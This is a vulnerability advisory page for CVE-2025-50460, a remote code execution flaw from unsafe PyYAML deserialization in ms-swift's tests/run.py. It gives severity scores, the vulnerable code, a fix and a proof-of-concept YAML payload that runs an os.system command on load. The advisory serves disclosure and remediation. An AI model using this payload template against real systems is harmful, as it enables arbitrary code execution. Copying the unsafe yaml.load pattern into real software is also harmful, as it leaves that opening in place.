CVE-2025-50460
JSON

9.8critical

MS SWIFT Remote Code Execution via unsafe PyYAML deserialization

Severity
9.8critical CVSS:3.1 by CISA-ADP
Exploit likelihood
1.99% (higher than 81% of CVEs)
Published
Last changed
Assigned by
mitre
Also known as
GHSA-fm6c-f59h-7mmgPYSEC-2026-1683

Description

A remote code execution (RCE) vulnerability exists in the ms-swift project version 3.3.0 due to unsafe deserialization in tests/run.py using yaml.load() from the PyYAML library (versions = 5.3.1). If an attacker can control the content of the YAML configuration file passed to the --run_config parameter, arbitrary code can be executed during deserialization. This can lead to full system compromise. The vulnerability is triggered when a malicious YAML file is loaded, allowing the execution of arbitrary Python commands such as os.system(). It is recommended to upgrade PyYAML to version 5.4 or higher, and to use yaml.safe_load() to mitigate the issue.

Affected

Product or packageVersionsReported by
Unspecified productn/aCVE List
ms-swift (PyPI)up to 3.6.3GitHub Advisory Database, PyPA Advisory Database

All scores

CISA-ADP9.8critical CVSS:3.1CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
GitHub9.8low CVSS:3.1CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
GitHublow CVSS:4.0CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N
PyPA Advisory Database9.8critical CVSS:3.1CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
PyPA Advisory DatabaseNot scored CVSS:4.0CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N

Classification

CWE-502

SSVC (CISA-ADP): exploitation poc, automatable yes, technical impact total.

What each source says

CVE List

A remote code execution (RCE) vulnerability exists in the ms-swift project version 3.3.0 due to unsafe deserialization in tests/run.py using yaml.load() from the PyYAML library (versions = 5.3.1). If an attacker can control the content of the YAML configuration file passed to the --run_config parameter, arbitrary code can be executed during deserialization. This can lead to full system compromise. The vulnerability is triggered when a malicious YAML file is loaded, allowing the execution of arbitrary Python commands such as os.system(). It is recommended to upgrade PyYAML to version 5.4 or higher, and to use yaml.safe_load() to mitigate the issue.

GitHub Advisory Database

Description

A Remote Code Execution (RCE) vulnerability exists in the modelscope/ms-swift project due to unsafe use of yaml.load() in combination with vulnerable versions of the PyYAML library (≤ 5.3.1). The issue resides in the tests/run.py script, where a user-supplied YAML configuration file is deserialized using yaml.load() with yaml.FullLoader.

If an attacker can control or replace the YAML configuration file provided to the --run_config argument, they may inject a malicious payload that results in arbitrary code execution.

Affected Repository

Vulnerable Code

if args.run_config is not None and Path(args.run_config).exists():
    with open(args.run_config, encoding='utf-8') as f:
        run_config = yaml.load(f, Loader=yaml.FullLoader)

Proof of Concept (PoC)

Step 1: Create malicious YAML file (exploit.yaml)
!!python/object/new:type
args: ["z", !!python/tuple [], {"extend": !!python/name:exec }]
listitems: "__import__('os').system('mkdir HACKED')"
Step 2: Execute with vulnerable PyYAML (<= 5.3.1)
import yaml

with open("exploit.yaml", "r") as f:
    cfg = yaml.load(f, Loader=yaml.FullLoader)

This results in execution of os.system, proving code execution.

Mitigation

  • Replace yaml.load() with yaml.safe_load()
  • Upgrade PyYAML to version 5.4 or later
Example Fix:
# Before
yaml.load(f, Loader=yaml.FullLoader)

# After
yaml.safe_load(f)

Author

NVD (es)

Existe una vulnerabilidad de ejecución remota de código (RCE) en el proyecto ms-swift versión 3.3.0 debido a una deserialización insegura en tests/run.py mediante yaml.load() de la librería PyYAML (versiones = 5.3.1). Si un atacante controla el contenido del archivo de configuración YAML transferido al parámetro --run_config, se puede ejecutar código arbitrario durante la deserialización. Esto puede comprometer completamente el sistema. La vulnerabilidad se activa al cargar un archivo YAML malicioso, lo que permite la ejecución de comandos Python arbitrarios como os.system(). Se recomienda actualizar PyYAML a la versión 5.4 o superior y usar yaml.safe_load() para mitigar el problema.

References

Sources

SourceRecordLicence
CVE ListCVE-2025-50460 changed 2025-08-01CVE Terms of Use
GitHub Advisory DatabaseGHSA-fm6c-f59h-7mmg changed 2026-07-07CC-BY-4.0
NVDCVE-2025-50460 changed 2026-06-17Public domain
PyPA Advisory DatabasePYSEC-2026-1683 changed 2026-07-07CC-BY-4.0